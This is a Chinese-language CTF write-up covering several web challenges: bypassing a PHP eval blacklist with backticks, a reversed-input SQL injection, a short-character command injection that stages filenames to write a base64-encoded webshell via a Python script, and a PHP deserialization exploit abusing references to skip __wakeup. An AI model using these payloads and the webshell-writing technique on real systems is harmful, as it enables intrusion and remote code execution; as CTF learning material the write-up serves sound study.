websign
无法右键 禁用js后 看源码

ez_rce -- 闭合
源码,禁用的东西挺多的 仔细发现 ? `没有禁用,闭合标签反引号执行命令- ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
- if(isset($_GET['code'])){
- $code=$_GET['code'];
- if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
- echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
- eval($code);
- }
- else{
- die("你想干什么?????????");
- }
- }
- else{
- echo "居然都不输入参数,可恶!!!!!!!!!";
- show_source(__FILE__);
- }
复制代码 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl输出

ezsql -- 输入反向
直接给出了查询语句

发现输入 11')--+ 显示的是 +--)'11 完全反过来了

首先使用万能密码试试

发现即使输入时正确的账号密码也不会回显flag
找列数 2列

这里过滤了or 双写绕过,查找表名和数据库名

查列名UUCTF

查内容

ezrce -- 6字符RCE
hint:这是一个命令执行接口
我知道咯这是六字符 起初我输入>nl 回显命令执行失败 我以为没有运行 所以没写
所以说不可以完全信回显
我们要先找到写文件写的目录 echo 一下,文件写在./tmp/

方法一
- >nl
- * /*>d
- 第一个:创建一个叫nl的文件
- * /*>d 意思就是 nl /*>f 第一个*就是将ls列出文件名第一个当作命令 其他当作参数
复制代码
方法二
前置知识- >a 在Linux会创建一个叫a的文件
- *>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
- *v>0 等价于 rev v >0 反转
- sh 0 将0文件的内容当作命令执行
- ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
- linux下换行执行命令:
- ech\
- o\
- 111
复制代码
跑脚本,写木马- url="http://43.142.108.3:28933/post.php"
- print("[+]start attack!!!")
- with open("5字符RCE.txt", "r") as f:
- for i in f:
- data = {"cmd": f"{i.strip()}"}
- requests.post(url=url,data=data)
- resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
- if resp.status_code == requests.codes.ok:
- print("[*]Attack success!!!")
-
- 5字符RCE.txt
- >dir
- >sl
- >ht-
- >f\>
- *>v
- >rev
- *v>0
- >hp
- >1.p\\
- >d\>\\
- >\ -\\
- >e64\\
- >bas\\
- >7\|\\
- >XSk\\
- >Fsx\\
- >dFV\\
- >kX0\\
- >bCg\\
- >XZh\\
- >AgZ\\
- >waH\\
- >PD9\\
- >o\ \\
- >ech\\
- sh 0
- sh f
复制代码
ez_unser -- 引用绕过wakeup
反序列化 审计代码- class test{
- public $a;
- public $b;
- public $c;
- public function __construct(){
- $this->a=1;
- $this->b=2;
- $this->c=3;
- }
- public function __wakeup(){
- $this->a='';
- }
- public function __destruct(){
- // 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方
- // 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等
- $this->b=$this->c;
- // 终点
- eval($this->a);
- }
- }
- $a=$_GET['a'];
- // 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeup
- if(!preg_match('/test":3/i',$a)){
- die("你输入的不正确!!!搞什么!!");
- }
- $bbb=unserialize($_GET['a']);
复制代码 构造POC- class test{
- public $a;
- public $b;
- public $c;
- public function __construct(){
- $this->a=&$this->b;
- $this->b=2;
- $this->c="system('ls');";
- }
- }
- echo((serialize(new test())));
复制代码

最终的payload
[code] |